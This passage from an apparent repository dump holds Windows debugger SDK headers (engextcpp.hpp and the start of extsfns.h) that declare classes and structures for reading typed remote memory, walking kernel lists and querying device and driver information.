ReadBuffer(__out_bcount(Bytes) PVOID Buffer,\n __in ULONG Bytes,\n __in bool MustReadAll = true) throw(...);\n ULONG WriteBuffer(__in_bcount(Bytes) PVOID Buffer,\n __in ULONG Bytes,\n __in bool MustReadAll = true) throw(...);\n \n //\n // String reads.\n //\n\n PSTR GetString(__out_ecount(BufferChars) PSTR Buffer,\n __in ULONG BufferChars,\n __in ULONG MaxChars = 1024,\n __in bool MustFit = false) throw(...);\n PWSTR GetString(__out_ecount(BufferChars) PWSTR Buffer,\n __in ULONG BufferChars,\n __in ULONG MaxChars = 1024,\n __in bool MustFit = false) throw(...);\n \n PCSTR m_Name;\n ULONG64 m_Offset;\n bool m_ValidOffset;\n ULONG m_Bytes;\n ULONG64 m_Data;\n bool m_ValidData;\n bool m_Physical;\n ULONG m_SpaceFlags;\n\nprotected:\n void Clear(void)\n {\n m_Name = NULL;\n m_Offset = 0;\n m_ValidOffset = false;\n m_Bytes = 0;\n m_Data = 0;\n m_ValidData = false;\n m_Physical = false;\n m_SpaceFlags = 0;\n }\n};\n\n//----------------------------------------------------------------------------\n//\n// ExtRemoteTyped is an enhanced remote data object that understands\n// data typed with type information from symbols. It is initialized\n// to a particular object by symbol or cast, after which it can\n// be used like an object of the given type.\n//\n// All expressions are C++ syntax by default.\n//\n//----------------------------------------------------------------------------\n\nclass ExtRemoteTyped : public ExtRemoteData\n{\npublic:\n ExtRemoteTyped(void)\n {\n Clear();\n }\n ExtRemoteTyped(__in PCSTR Expr) throw(...)\n {\n m_Release = false;\n Set(Expr);\n }\n ExtRemoteTyped(__in const DEBUG_TYPED_DATA* Typed) throw(...)\n {\n m_Release = false;\n Copy(Typed);\n }\n ExtRemoteTyped(__in const ExtRemoteTyped& Typed) throw(...)\n {\n m_Release = false;\n Copy(Typed);\n }\n ExtRemoteTyped(__in PCSTR Expr,\n __in ULONG64 Offset) throw(...)\n {\n m_Release = false;\n Set(Expr, Offset);\n }\n ExtRemoteTyped(__in PCSTR Type,\n __in ULONG64 Offset,\n __in bool PtrTo,\n __inout_opt PULONG64 CacheCookie = NULL,\n __in_opt PCSTR LinkField = NULL) throw(...)\n {\n m_Release = false;\n Set(Type, Offset, PtrTo, CacheCookie, LinkField);\n }\n ~ExtRemoteTyped(void)\n {\n Release();\n }\n\n ExtRemoteTyped& operator=(__in const DEBUG_TYPED_DATA* Typed) throw(...)\n {\n Copy(Typed);\n return *this;\n }\n ExtRemoteTyped& operator=(__in const ExtRemoteTyped& Typed) throw(...)\n {\n Copy(Typed);\n return *this;\n }\n \n void Copy(__in const DEBUG_TYPED_DATA* Typed) throw(...);\n void Copy(__in const ExtRemoteTyped& Typed) throw(...)\n {\n if (Typed.m_Release)\n {\n Copy(&Typed.m_Typed);\n }\n else\n {\n Clear();\n }\n }\n \n void Set(__in PCSTR Expr) throw(...);\n void Set(__in PCSTR Expr,\n __in ULONG64 Offset) throw(...);\n void Set(__in bool PtrTo,\n __in ULONG64 TypeModBase,\n __in ULONG TypeId,\n __in ULONG64 Offset) throw(...);\n void Set(__in PCSTR Type,\n __in ULONG64 Offset,\n __in bool PtrTo,\n __inout_opt PULONG64 CacheCookie = NULL,\n __in_opt PCSTR LinkField = NULL) throw(...);\n\n // Uses a circle string.\n void WINAPIV SetPrint(__in PCSTR Format,\n ...) throw(...);\n\n bool HasField(__in PCSTR Field)\n {\n return ErtIoctl(\"HasField\",\n EXT_TDOP_HAS_FIELD,\n ErtIn | ErtIgnoreError,\n Field) == S_OK;\n }\n\n ULONG GetTypeSize(void) throw(...)\n {\n ULONG Size;\n \n ErtIoctl(\"GetTypeSize\", EXT_TDOP_GET_TYPE_SIZE, ErtIn,\n NULL, 0, NULL, NULL, 0, &Size);\n return Size;\n }\n \n ULONG GetFieldOffset(__in PCSTR Field) throw(...);\n \n ExtRemoteTyped Field(__in PCSTR Field) throw(...);\n ExtRemoteTyped ArrayElement(__in LONG64 Index) throw(...);\n ExtRemoteTyped Dereference(void) throw(...);\n ExtRemoteTyped GetPointerTo(void) throw(...);\n ExtRemoteTyped Eval(__in PCSTR Expr) throw(...);\n\n ExtRemoteTyped operator[](__in LONG Index)\n {\n return ArrayElement(Index);\n }\n ExtRemoteTyped operator[](__in ULONG Index)\n {\n return ArrayElement((LONG64)Index);\n }\n ExtRemoteTyped operator[](__in LONG64 Index)\n {\n return ArrayElement(Index);\n }\n ExtRemoteTyped operator[](__in ULONG64 Index)\n {\n if (Index > 0x7fffffffffffffffUI64)\n {\n g_Ext->ThrowRemote\n (HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW),\n \"Array index too large\");\n }\n return ArrayElement((LONG64)Index);\n }\n ExtRemoteTyped operator*(void)\n {\n return Dereference();\n }\n \n // Uses the circular string buffer.\n PSTR GetTypeName(void) throw(...);\n \n void OutTypeName(void) throw(...)\n {\n ErtIoctl(\"OutTypeName\", EXT_TDOP_OUTPUT_TYPE_NAME, ErtIn);\n }\n void OutSimpleValue(void) throw(...)\n {\n ErtIoctl(\"OutSimpleValue\", EXT_TDOP_OUTPUT_SIMPLE_VALUE, ErtIn);\n }\n void OutFullValue(void) throw(...)\n {\n ErtIoctl(\"OutFullValue\", EXT_TDOP_OUTPUT_FULL_VALUE, ErtIn);\n }\n void OutTypeDefinition(void) throw(...)\n {\n ErtIoctl(\"OutTypeDefinition\", EXT_TDOP_OUTPUT_TYPE_DEFINITION, ErtIn);\n }\n \n void Release(void)\n {\n if (m_Release)\n {\n ErtIoctl(\"Release\", EXT_TDOP_RELEASE, ErtIn | ErtIgnoreError);\n Clear();\n }\n }\n\n static ULONG GetTypeFieldOffset(__in PCSTR Type,\n __in PCSTR Field) throw(...);\n \n DEBUG_TYPED_DATA m_Typed;\n bool m_Release;\n\nprotected:\n static const ULONG ErtIn = 0x00000001;\n static const ULONG ErtOut = 0x00000002;\n static const ULONG ErtUncheckedIn = 0x00000004;\n static const ULONG ErtIgnoreError = 0x00000008;\n \n HRESULT ErtIoctl(__in PCSTR Message,\n __in EXT_TDOP Op,\n __in ULONG Flags,\n __in_opt PCSTR InStr = NULL,\n __in ULONG64 In64 = 0,\n __out_opt ExtRemoteTyped* Ret = NULL,\n __out_ecount_opt(StrBufferChars) PSTR StrBuffer = NULL,\n __in ULONG StrBufferChars = 0,\n __out_opt PULONG Out32 = NULL);\n void Clear(void);\n};\n\n//----------------------------------------------------------------------------\n//\n// ExtRemoteList wraps a basic singly- or double-linked list.\n// It can iterate over the list and retrieve nodes both\n// forwards and backwards. It handles both NULL-terminated\n// and lists that are circular through a head pointer (NT-style).\n//\n// When doubly-linked it is assumed that the previous\n// pointer immediately follows the next pointer.\n//\n//----------------------------------------------------------------------------\n\nclass ExtRemoteList\n{\npublic:\n ExtRemoteList(__in ULONG64 Head,\n __in ULONG LinkOffset,\n __in bool Double = false)\n {\n m_Head = Head;\n m_LinkOffset = LinkOffset;\n m_Double = Double;\n m_MaxIter = 65536;\n }\n ExtRemoteList(__in ExtRemoteData& Head,\n __in ULONG LinkOffset,\n __in bool Double = false)\n {\n m_Head = Head.m_Offset;\n m_LinkOffset = LinkOffset;\n m_Double = Double;\n m_MaxIter = 65536;\n }\n\n void StartHead(void)\n {\n m_Node.Set(m_Head, g_Ext->m_PtrSize);\n m_CurIter = 0;\n }\n void StartTail(void)\n {\n if (!m_Double)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteList is singly-linked\");\n }\n \n m_Node.Set(m_Head + g_Ext->m_PtrSize, g_Ext->m_PtrSize);\n m_CurIter = 0;\n }\n bool HasNode(void)\n {\n g_Ext->ThrowInterrupt();\n ULONG64 NodeOffs = m_Node.GetPtr();\n return NodeOffs != 0 && NodeOffs != m_Head;\n }\n ULONG64 GetNodeOffset(void)\n {\n return m_Node.GetPtr() - m_LinkOffset;\n }\n void Next(void)\n {\n if (++m_CurIter > m_MaxIter)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"List iteration count exceeded, loop assumed\");\n }\n \n m_Node.Set(m_Node.GetPtr(), g_Ext->m_PtrSize);\n }\n void Prev(void)\n {\n g_Ext->ThrowInterrupt();\n\n if (!m_Double)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"ExtRemoteList is singly-linked\");\n }\n \n if (++m_CurIter > m_MaxIter)\n {\n g_Ext->ThrowRemote(E_INVALIDARG,\n \"List iteration count exceeded, loop assumed\");\n }\n \n m_Node.Set(m_Node.GetPtr() + g_Ext->m_PtrSize, g_Ext->m_PtrSize);\n }\n \n ULONG64 m_Head;\n ULONG m_LinkOffset;\n bool m_Double;\n ULONG m_MaxIter;\n ExtRemoteData m_Node;\n ULONG m_CurIter;\n};\n\n//----------------------------------------------------------------------------\n//\n// ExtRemoteTypedList enhances the basic ExtRemoteList to\n// understand the type of the nodes in the list and to\n// automatically determine link offsets from type information.\n//\n//----------------------------------------------------------------------------\n\nclass ExtRemoteTypedList : public ExtRemoteList\n{\npublic:\n ExtRemoteTypedList(__in ULONG64 Head,\n __in PCSTR Type,\n __in PCSTR LinkField,\n __in ULONG64 TypeModBase = 0,\n __in ULONG TypeId = 0,\n __inout PULONG64 CacheCookie = NULL,\n __in bool Double = false) throw(...)\n : ExtRemoteList(Head, 0, Double)\n {\n SetTypeAndLink(Type, LinkField, TypeModBase, TypeId, CacheCookie);\n }\n ExtRemoteTypedList(__in ExtRemoteData& Head,\n __in PCSTR Type,\n __in PCSTR LinkField,\n __in ULONG64 TypeModBase = 0,\n __in ULONG TypeId = 0,\n __inout_opt PULONG64 CacheCookie = NULL,\n __in bool Double = false) throw(...)\n : ExtRemoteList(Head, 0, Double)\n {\n SetTypeAndLink(Type, LinkField, TypeModBase, TypeId, CacheCookie);\n }\n\n void SetTypeAndLink(__in PCSTR Type,\n __in PCSTR LinkField,\n __in ULONG64 TypeModBase = 0,\n __in ULONG TypeId = 0,\n __inout_opt PULONG64 CacheCookie = NULL) throw(...)\n {\n m_Type = Type;\n m_TypeModBase = TypeModBase;\n m_TypeId = TypeId;\n if (CacheCookie)\n {\n m_LinkOffset = g_Ext->GetCachedFieldOffset(CacheCookie,\n Type,\n LinkField,\n &m_TypeModBase,\n &m_TypeId);\n }\n else\n {\n m_LinkOffset = ExtRemoteTyped::GetTypeFieldOffset(Type, LinkField);\n }\n }\n\n ExtRemoteTyped GetTypedNodePtr(void) throw(...)\n {\n ExtRemoteTyped Typed;\n\n if (m_TypeId)\n {\n Typed.Set(true, m_TypeModBase, m_TypeId,\n m_Node.GetPtr() - m_LinkOffset);\n }\n else\n {\n Typed.SetPrint(\"(%s*)0x%I64x\",\n m_Type, m_Node.GetPtr() - m_LinkOffset);\n\n // Save the type info so that future nodes\n // can be resolved without needing\n // expression evaluation.\n ExtRemoteTyped Deref = Typed.Dereference();\n m_TypeModBase = Deref.m_Typed.ModBase;\n m_TypeId = Deref.m_Typed.TypeId;\n }\n return Typed;\n }\n ExtRemoteTyped GetTypedNode(void) throw(...)\n {\n ExtRemoteTyped Typed;\n \n if (m_TypeId)\n {\n Typed.Set(false, m_TypeModBase, m_TypeId,\n m_Node.GetPtr() - m_LinkOffset);\n }\n else\n {\n Typed.SetPrint(\"*(%s*)0x%I64x\",\n m_Type, m_Node.GetPtr() - m_LinkOffset);\n\n // Save the type info so that future nodes\n // can be resolved without needing\n // expression evaluation.\n m_TypeModBase = Typed.m_Typed.ModBase;\n m_TypeId = Typed.m_Typed.TypeId;\n }\n return Typed;\n }\n\n PCSTR m_Type;\n ULONG64 m_TypeModBase;\n ULONG m_TypeId;\n};\n\n//----------------------------------------------------------------------------\n//\n// Helpers for handling well-known NT data and types.\n//\n//----------------------------------------------------------------------------\n\nclass ExtNtOsInformation\n{\npublic:\n //\n // Kernel mode.\n //\n \n static ULONG64 GetKernelLoadedModuleListHead(void);\n static ExtRemoteTypedList GetKernelLoadedModuleList(void);\n static ExtRemoteTyped GetKernelLoadedModule(__in ULONG64 Offset);\n \n static ULONG64 GetKernelProcessListHead(void);\n static ExtRemoteTypedList GetKernelProcessList(void);\n static ExtRemoteTyped GetKernelProcess(__in ULONG64 Offset);\n\n static ULONG64 GetKernelProcessThreadListHead(__in ULONG64 Process);\n static ExtRemoteTypedList GetKernelProcessThreadList(__in ULONG64 Process);\n static ExtRemoteTyped GetKernelThread(__in ULONG64 Offset);\n \n //\n // User mode.\n //\n\n static ULONG64 GetUserLoadedModuleListHead(__in bool NativeOnly = false);\n static ExtRemoteTypedList\n GetUserLoadedModuleList(__in bool NativeOnly = false);\n static ExtRemoteTyped GetUserLoadedModule(__in ULONG64 Offset,\n __in bool NativeOnly = false);\n\n //\n // PEB and TEB.\n //\n // The alternate PEB and TEB are secondary PEB and TEB\n // data, such as the 32-bit PEB and TEB in a WOW64\n // debugging session. They may or may not be defined\n // depending on the session.\n //\n\n static ULONG64 GetOsPebPtr(void);\n static ExtRemoteTyped GetOsPeb(__in ULONG64 Offset);\n static ExtRemoteTyped GetOsPeb(void)\n {\n return GetOsPeb(GetOsPebPtr());\n }\n \n static ULONG64 GetOsTebPtr(void);\n static ExtRemoteTyped GetOsTeb(__in ULONG64 Offset);\n static ExtRemoteTyped GetOsTeb(void)\n {\n return GetOsTeb(GetOsTebPtr());\n }\n \n static ULONG64 GetAltPebPtr(void);\n static ExtRemoteTyped GetAltPeb(__in ULONG64 Offset);\n static ExtRemoteTyped GetAltPeb(void)\n {\n return GetAltPeb(GetAltPebPtr());\n }\n \n static ULONG64 GetAltTebPtr(void);\n static ExtRemoteTyped GetAltTeb(__in ULONG64 Offset);\n static ExtRemoteTyped GetAltTeb(void)\n {\n return GetAltTeb(GetAltTebPtr());\n }\n \n static ULONG64 GetCurPebPtr(void);\n static ExtRemoteTyped GetCurPeb(__in ULONG64 Offset);\n static ExtRemoteTyped GetCurPeb(void)\n {\n return GetCurPeb(GetCurPebPtr());\n }\n \n static ULONG64 GetCurTebPtr(void);\n static ExtRemoteTyped GetCurTeb(__in ULONG64 Offset);\n static ExtRemoteTyped GetCurTeb(void)\n {\n return GetCurTeb(GetCurTebPtr());\n }\n \n //\n // Utilities.\n //\n\n static ULONG64 GetNtDebuggerData(__in ULONG DataOffset,\n __in PCSTR Symbol,\n __in ULONG Flags);\n\nprotected:\n static ULONG64 s_KernelLoadedModuleBaseInfoCookie;\n static ULONG64 s_KernelProcessBaseInfoCookie;\n static ULONG64 s_KernelThreadBaseInfoCookie;\n static ULONG64 s_KernelProcessThreadListFieldCookie;\n static ULONG64 s_UserOsLoadedModuleBaseInfoCookie;\n static ULONG64 s_UserAltLoadedModuleBaseInfoCookie;\n static ULONG64 s_OsPebBaseInfoCookie;\n static ULONG64 s_AltPebBaseInfoCookie;\n static ULONG64 s_OsTebBaseInfoCookie;\n static ULONG64 s_AltTebBaseInfoCookie;\n};\n\n//----------------------------------------------------------------------------\n//\n// Number-to-string helpers for things like #define translations.\n//\n//----------------------------------------------------------------------------\n\n//\n// Convenience macros for filling define declarations.\n//\n\n#define EXT_DEFINE_DECL(_Def) \\\n { #_Def, _Def },\n#define EXT_DEFINE_END { NULL, 0 }\n\n// In order to avoid #define replacement on the names\n// these macros cannot be nested macros.\n#define EXT_DEFINE_DECL2(_Def1, _Def2) \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }\n#define EXT_DEFINE_DECL3(_Def1, _Def2, _Def3) \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 }\n#define EXT_DEFINE_DECL4(_Def1, _Def2, _Def3, _Def4) \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 }, { #_Def4, _Def4 }\n#define EXT_DEFINE_DECL5(_Def1, _Def2, _Def3, _Def4, _Def5) \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n { #_Def4, _Def4 }, { #_Def5, _Def5 }\n#define EXT_DEFINE_DECL6(_Def1, _Def2, _Def3, _Def4, _Def5, _Def6) \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 }\n#define EXT_DEFINE_DECL7(_Def1, _Def2, _Def3, _Def4, _Def5, _Def6, _Def7) \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 }, { #_Def7, _Def7 }\n\n//\n// Convenience macros for declaring global maps.\n//\n\n#define EXT_DEFINE_MAP_DECL(_Name, _Flags) \\\nExtDefineMap g_##_Name##DefineMap(g_##_Name##Defines, _Flags)\n\n#define EXT_DEFINE_MAP1(_Name, _Flags, _Def1) \\\nExtDefine g_##_Name##Defines[] = { \\\n { #_Def1, _Def1 }, EXT_DEFINE_END \\\n}; EXT_DEFINE_MAP_DECL(_Name, _Flags)\n#define EXT_DEFINE_MAP2(_Name, _Flags, _Def1, _Def2) \\\nExtDefine g_##_Name##Defines[] = { \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, EXT_DEFINE_END \\\n}; EXT_DEFINE_MAP_DECL(_Name, _Flags)\n#define EXT_DEFINE_MAP3(_Name, _Flags, _Def1, _Def2, _Def3) \\\nExtDefine g_##_Name##Defines[] = { \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n EXT_DEFINE_END \\\n}; EXT_DEFINE_MAP_DECL(_Name, _Flags)\n#define EXT_DEFINE_MAP4(_Name, _Flags, _Def1, _Def2, _Def3, _Def4) \\\nExtDefine g_##_Name##Defines[] = { \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n { #_Def4, _Def4 }, EXT_DEFINE_END \\\n}; EXT_DEFINE_MAP_DECL(_Name, _Flags)\n#define EXT_DEFINE_MAP5(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5) \\\nExtDefine g_##_Name##Defines[] = { \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n { #_Def4, _Def4 }, { #_Def5, _Def5 }, EXT_DEFINE_END \\\n}; EXT_DEFINE_MAP_DECL(_Name, _Flags)\n#define EXT_DEFINE_MAP6(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5, _Def6) \\\nExtDefine g_##_Name##Defines[] = { \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 },\\\n EXT_DEFINE_END \\\n}; EXT_DEFINE_MAP_DECL(_Name, _Flags)\n#define EXT_DEFINE_MAP7(_Name, _Flags, _Def1, _Def2, _Def3, _Def4, _Def5, _Def6, _Def7) \\\nExtDefine g_##_Name##Defines[] = { \\\n { #_Def1, _Def1 }, { #_Def2, _Def2 }, { #_Def3, _Def3 },\\\n { #_Def4, _Def4 }, { #_Def5, _Def5 }, { #_Def6, _Def6 },\\\n { #_Def7, _Def7 }, EXT_DEFINE_END \\\n}; EXT_DEFINE_MAP_DECL(_Name, _Flags)\n\nstruct ExtDefine\n{\n PCSTR Name;\n ULONG64 Value;\n};\n\nclass ExtDefineMap\n{\npublic:\n ExtDefineMap(__in ExtDefine* Defines,\n __in ULONG Flags)\n {\n m_Defines = Defines;\n m_Flags = Flags;\n };\n\n static const ULONG Bitwise = 0x00000001;\n static const ULONG OutValue = 0x00000002;\n static const ULONG OutValue32 = 0x00000004;\n static const ULONG OutValue64 = 0x00000008;\n static const ULONG OutValueAny = OutValue | OutValue32 | OutValue64;\n static const ULONG OutValueAlready = 0x00000010;\n static const ULONG ValueAny = OutValueAny | OutValueAlready;\n \n // Defines are searched in the order given for\n // defines where the full value of the define is\n // included in the argument value. Multi-bit\n // defines should come before single-bit defines\n // so that they take priority for bitwise maps.\n ExtDefine* Map(__in ULONG64 Value);\n PCSTR MapStr(__in ULONG64 Value,\n __in_opt PCSTR InvalidStr = NULL);\n\n // For a bitwise map, outputs all defines\n // that can be found in the value.\n // For non-bitwise, outputs the matching define.\n // Uses wrapped output.\n void Out(__in ULONG64 Value,\n __in ULONG Flags = 0,\n __in_opt PCSTR InvalidStr = NULL);\n \n ExtDefine* m_Defines;\n ULONG m_Flags;\n};\n\n//----------------------------------------------------------------------------\n//\n// Output capture helper class.\n//\n//----------------------------------------------------------------------------\n\ntemplate\nclass ExtCaptureOutput : public _BaseClass\n{\npublic:\n ExtCaptureOutput(void)\n {\n m_Started = false;\n m_Text = NULL;\n Delete();\n }\n ~ExtCaptureOutput(void)\n {\n Delete();\n }\n \n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n )\n {\n *Interface = NULL;\n\n if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) ||\n IsEqualIID(InterfaceId, __uuidof(_BaseClass)))\n {\n *Interface = (_BaseClass *)this;\n AddRef();\n return S_OK;\n }\n else\n {\n return E_NOINTERFACE;\n }\n }\n STDMETHOD_(ULONG, AddRef)(\n THIS\n )\n {\n // This class is designed to be non-dynamic so\n // there's no true refcount.\n return 1;\n }\n STDMETHOD_(ULONG, Release)(\n THIS\n )\n {\n // This class is designed to be non-dynamic so\n // there's no true refcount.\n return 0;\n }\n \n // IDebugOutputCallbacks*.\n STDMETHOD(Output)(\n THIS_\n __in ULONG Mask,\n __in const _CharType* Text\n )\n {\n ULONG Chars;\n \n if (sizeof(_CharType) == sizeof(char))\n {\n Chars = strlen((PSTR)Text) + 1;\n }\n else\n {\n Chars = wcslen((PWSTR)Text) + 1;\n }\n if (Chars < 2)\n {\n return S_OK;\n }\n\n if (0xffffffff / sizeof(_CharType) - m_UsedChars < Chars)\n {\n return HRESULT_FROM_WIN32(ERROR_ARITHMETIC_OVERFLOW);\n }\n\n if (m_UsedChars + Chars > m_AllocChars)\n {\n ULONG NewBytes;\n\n // Overallocate when growing to prevent\n // continuous allocation.\n if (0xffffffff / sizeof(_CharType) - m_UsedChars - Chars > 256)\n {\n NewBytes = (m_UsedChars + Chars + 256) * sizeof(_CharType);\n }\n else\n {\n NewBytes = (m_UsedChars + Chars) * sizeof(_CharType);\n }\n PVOID NewMem = realloc(m_Text, NewBytes);\n if (!NewMem)\n {\n return E_OUTOFMEMORY;\n }\n\n m_Text = (_CharType*)NewMem;\n m_AllocChars = NewBytes / sizeof(_CharType);\n }\n\n memcpy(m_Text + m_UsedChars, Text,\n Chars * sizeof(_CharType));\n // Advance up to but not past the terminator\n // so that it gets overwritten by the next text.\n m_UsedChars += Chars - 1;\n return S_OK;\n }\n\n void Start(void)\n {\n HRESULT Status;\n \n if (sizeof(_CharType) == sizeof(char))\n {\n if ((Status = g_Ext->m_Client->\n GetOutputCallbacks((IDebugOutputCallbacks**)\n &m_OldOutCb)) != S_OK)\n {\n g_Ext->ThrowStatus(Status,\n \"Unable to get previous output callback\");\n }\n if ((Status = g_Ext->m_Client->\n SetOutputCallbacks((IDebugOutputCallbacks*)\n this)) != S_OK)\n {\n g_Ext->ThrowStatus(Status,\n \"Unable to set capture output callback\");\n }\n }\n else\n {\n if ((Status = g_Ext->m_Client5->\n GetOutputCallbacksWide((IDebugOutputCallbacksWide**)\n &m_OldOutCb)) != S_OK)\n {\n g_Ext->ThrowStatus(Status,\n \"Unable to get previous output callback\");\n }\n if ((Status = g_Ext->m_Client5->\n SetOutputCallbacksWide((IDebugOutputCallbacksWide*)\n this)) != S_OK)\n {\n g_Ext->ThrowStatus(Status,\n \"Unable to set capture output callback\");\n }\n }\n \n m_UsedChars = 0;\n m_Started = true;\n }\n \n void Stop(void)\n {\n HRESULT Status;\n \n m_Started = false;\n\n if (sizeof(_CharType) == sizeof(char))\n {\n if ((Status = g_Ext->m_Client->\n SetOutputCallbacks((IDebugOutputCallbacks*)\n m_OldOutCb)) != S_OK)\n {\n g_Ext->ThrowStatus(Status,\n \"Unable to restore output callback\");\n }\n }\n else\n {\n if ((Status = g_Ext->m_Client5->\n SetOutputCallbacksWide((IDebugOutputCallbacksWide*)\n m_OldOutCb)) != S_OK)\n {\n g_Ext->ThrowStatus(Status,\n \"Unable to restore output callback\");\n }\n }\n\n m_OldOutCb = NULL;\n }\n\n void Delete(void)\n {\n if (m_Started)\n {\n Stop();\n }\n\n free(m_Text);\n m_Text = NULL;\n m_AllocChars = 0;\n m_UsedChars = 0;\n }\n\n void Execute(__in PCSTR Command)\n {\n Start();\n \n // Hide all output from the execution\n // and don't save the command.\n g_Ext->m_Control->Execute(DEBUG_OUTCTL_THIS_CLIENT |\n DEBUG_OUTCTL_OVERRIDE_MASK |\n DEBUG_OUTCTL_NOT_LOGGED,\n Command,\n DEBUG_EXECUTE_NOT_LOGGED |\n DEBUG_EXECUTE_NO_REPEAT);\n\n Stop();\n }\n \n const _CharType* GetTextNonNull(void)\n {\n if (sizeof(_CharType) == sizeof(char))\n {\n return m_Text ? (PCSTR)m_Text : \"\";\n }\n else\n {\n return m_Text ? (PCWSTR)m_Text : L\"\";\n }\n }\n \n bool m_Started;\n ULONG m_AllocChars;\n ULONG m_UsedChars;\n _CharType* m_Text;\n\n _BaseClass* m_OldOutCb;\n};\n \ntypedef ExtCaptureOutput ExtCaptureOutputA;\ntypedef ExtCaptureOutput ExtCaptureOutputW;\n\n#if _MSC_VER >= 800\n#pragma warning(default:4121)\n#endif\n \n#include \n\n#endif // #ifndef __ENGEXTCPP_HPP__\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/extsfns.h", "content": "/*++\n\nCopyright (c) 2006 Microsoft Corporation\n\nModule Name:\n\n extsfns.h\n\nAbstract:\n\n This header file must be included after \"windows.h\", \"dbgeng.h\", and\n \"wdbgexts.h\".\n\n This file contains headers for various known extension functions defined\n in different extension dlls. To use these functions, the appropriate\n extension dll must be loaded in the debugger. IDebugSymbols->GetExtension\n (declared in dbgeng.h) method could be used to retrieve these functions.\n\n Please see the Debugger documentation for specific information about how\n to write your own debugger extension DLL.\n\nEnvironment:\n\n Win32 only.\n\nRevision History:\n\n--*/\n\n#ifndef _EXTFNS_H\n#define _EXTFNS_H\n\n#define _EXTSAPI_VER_ 9\n\n#ifndef _KDEXTSFN_H\n#define _KDEXTSFN_H\n\n/*\n * Extension functions defined in kdexts.dll\n */\n\n//\n// device.c\n//\ntypedef struct _DEBUG_DEVICE_OBJECT_INFO {\n ULONG SizeOfStruct; // must be == sizeof(DEBUG_DEVICE_OBJECT_INFO)\n ULONG64 DevObjAddress;\n ULONG ReferenceCount;\n BOOL QBusy;\n ULONG64 DriverObject;\n ULONG64 CurrentIrp;\n ULONG64 DevExtension;\n ULONG64 DevObjExtension;\n} DEBUG_DEVICE_OBJECT_INFO, *PDEBUG_DEVICE_OBJECT_INFO;\n\n\n// GetDevObjInfo\ntypedef HRESULT\n(WINAPI *PGET_DEVICE_OBJECT_INFO)(\n IN PDEBUG_CLIENT Client,\n IN ULONG64 DeviceObject,\n OUT PDEBUG_DEVICE_OBJECT_INFO pDevObjInfo);\n\n\n//\n// driver.c\n//\ntypedef struct _DEBUG_DRIVER_OBJECT_INFO {\n ULONG SizeOfStruct; // must be == sizeof(DEBUG_DRIVER_OBJECT_INFO)\n ULONG DriverSize;\n ULONG64 DriverObjAddress;\n ULONG64 DriverStart;\n ULONG64 DriverExtension;\n ULONG64 DeviceObject;\n struct {\n USHORT Length;\n USHORT MaximumLength;\n ULONG64 Buffer;\n } DriverName;\n} DEBUG_DRIVER_OBJECT_INFO, *PDEBUG_DRIVER_OBJECT_INFO;\n\n// GetDrvObjInfo\ntypedef HRESULT\n(WINAPI *PGET_DRIVER_OBJECT_INFO)(\n IN PDEBUG_CLIENT Client,\n IN ULONG64 DriverObject,\n OUT PDEBUG_DRIVER_OBJECT_INFO pDrvObjInfo);\n\n//\n// dump.cpp\n//\ntypedef struct _DEBUG_CPU_SPEED_INFO {\n ULONG SizeOfStruct; // must be == sizeof(DEBUG_CPU_SPEED_INFO)\n ULONG CurrentSpeed;\n ULONG RatedSpeed;\n WCHAR NameString[256];\n} DEBUG_CPU_SPEED_INFO, *PDEBUG_CPU_SPEED_INFO;\n\ntypedef HRESULT\n(WINAPI *PGET_CPU_PSPEED_INFO)(\n IN PDEBUG_CLIENT Client,\n OUT PDEBUG_CPU_SPEED_INFO pCpuSpeedInfo);\n\ntypedef struct _DEBUG_CPU_MICROCODE_VERSION {\n ULONG SizeOfStruct; // must be == sizeof(DEBUG_CPU_MICROCODE_VERSION)\n LARGE_INTEGER CachedSignature;\n LARGE_INTEGER InitialSignature;\n ULONG ProcessorModel;\n ULONG ProcessorFamily;\n ULONG ProcessorStepping; // ProcessorRevision on IA64\n ULONG ProcessorArchRev; // IA64?\n} DEBUG_CPU_MICROCODE_VERSION, *PDEBUG_CPU_MICROCODE_VERSION;\n\ntypedef HRESULT\n(WINAPI *PGET_CPU_MICROCODE_VERSION)(\n IN PDEBUG_CLIENT Client,\n OUT PDEBUG_CPU_MICROCODE_VERSION pCpuMicrocodeVersion);\n\ntypedef struct _DEBUG_SMBIOS_INFO {\n ULONG SizeOfStruct;\n UCHAR SmbiosMajorVersion;\n UCHAR SmbiosMinorVersion;\n UCHAR DMIVersion;\n ULONG TableSize;\n UCHAR BiosMajorRelease;\n UCHAR BiosMinorRelease;\n UCHAR FirmwareMajorRelease;\n UCHAR FirmwareMinorRelease;\n CHAR BaseBoardManufacturer[64];\n CHAR BaseBoardProduct[64];\n CHAR BaseBoardVersion[64];\n CHAR BiosReleaseDate[64];\n CHAR BiosVendor[64];\n CHAR BiosVersion[64];\n CHAR SystemFamily[64];\n CHAR 